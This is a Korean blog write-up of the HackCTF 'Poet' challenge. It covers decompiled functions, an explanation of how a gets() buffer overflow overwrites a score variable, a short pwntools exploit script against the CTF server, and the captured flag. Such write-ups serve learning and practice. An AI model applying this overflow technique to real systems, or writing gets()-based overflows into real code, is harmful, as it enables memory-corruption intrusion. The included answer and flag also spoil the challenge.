-
PoetCTF/HackCTF 2021. 2. 1. 01:26
Disassembly 디스어셈블리
void main(undefined8 argc, char **argv) { undefined8 in_R8; undefined8 in_R9; char **var_10h; int64_t var_4h; setvbuf(_reloc.stdout, 0, 2, 0, in_R8, in_R9, argv); puts( "\n**********************************************************\n* 우리는 2018년의 시인(poet)을 찾고 있습니다. *\n* 플래그상을 받고 싶다면 지금 한 줄의 시를 쓰세요! *\n**********************************************************\n" ); do { while( true ) { get_poem(); get_author(); rate_poem(); if (*(int32_t *)0x6024e0 != 1000000) break; reward(); } puts( "\n음...이 시로는 충분하지가 않습니다.\n정확히 1,000,000 점을 획득해야만 됩니다.\n다시 시도해주세요!\n+---------------------------------------------------------------------------+\n" ); } while( true ); }
main에서 get_poem, get_author, rate_poem을 연속으로 호출하고 점수가 1000000인지 검사한 후 reward를 호출한다.
void get_poem(void) { printf("Enter :\n> "); gets(poem); *(undefined4 *)0x6024e0 = 0; return; }
void get_author(void) { printf("이 시의 저자는 누구입니까?\n> "); gets(0x6024a0); return; }
get_open과 get_author는 각각 0x6020a0과 0x6024a0에 gets로 입력을 받는다.
void rate_poem(void) { int32_t iVar1; char *dest; char *s1; strcpy(&dest, poem); s1 = (char *)strtok(&dest, 0x400b91); do { if (s1 == (char *)0x0) { printf( "\n+---------------------------------------------------------------------------+\n시 내용\n%.1024s\n점수:%d\n" , poem, *(int32_t *)0x6024e0); return; } iVar1 = strcmp(s1, "ESPR"); if (iVar1 == 0) { code_r0x0040092c: *(int32_t *)0x6024e0 = *(int32_t *)0x6024e0 + 100; } else { iVar1 = strcmp(s1, 0x400b99); if (iVar1 == 0) goto code_r0x0040092c; iVar1 = strcmp(s1, "sleep"); if (iVar1 == 0) goto code_r0x0040092c; iVar1 = strcmp(s1, 0x400ba3); if (iVar1 == 0) goto code_r0x0040092c; iVar1 = strcmp(s1, "repeat"); if (iVar1 == 0) goto code_r0x0040092c; iVar1 = strcmp(s1, 0x400bae); if (iVar1 == 0) goto code_r0x0040092c; iVar1 = strcmp(s1, "capture"); if (iVar1 == 0) goto code_r0x0040092c; iVar1 = strcmp(s1, "flag"); if (iVar1 == 0) goto code_r0x0040092c; } s1 = (char *)strtok(0, 0x400b91); } while( true ); }
rate_poem은 space를 구분자로 문자열을 나눠서 평가한다. 구분된 각각의 문자열이 특정 문자열과 일치하면 0x6024e0에 위치한 점수에 100을 더하는 것을 볼 수 있다.
void reward(void) { int32_t iVar1; undefined auStack1200 [1032]; int64_t iStack168; code *pcStack160; char *s; undefined8 stream; pcStack160 = (code *)0x400800; stream = fopen("./flag.txt", 0x400ad8); pcStack160 = (code *)0x40081c; fgets(&s, 0x80, stream); pcStack160 = (code *)0x40083a; printf( "\n축하합니다!\n\n시 내용\n%.64s\n\n2018년 시인 상을 받았습니다!!\n\n보상:\n%s\n+---------------------------------------------------------------------------+\n\n" , 0x6024a0, &s); pcStack160 = rate_poem; exit(0); }
reward는 flag.txt의 내용을 읽어들여 출력해준다.
BOF
reward를 실행하는 것이 문제의 목표이고, 이를 위해서는 점수를 1000000으로 만들어야 한다. 점수는 0x6024e0에 저장되고 get_author는 0x6024a0에 입력을 받으니 버퍼 오버플로우를 이용해 점수를 조작하면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./poet" server = "ctf.j0n9hyun.xyz" port = 3012 # context.log_level = 'debug' context.binary = binary p = remote(server, port) e = ELF(binary) payload = b"A"*0x1 p.sendlineafter("> ", payload) payload = b"A"*0x40 payload += p64(1000000) p.sendlineafter("> ", payload) p.interactive()
Flag
HackCTF{0neSTEP_jun10rCTF}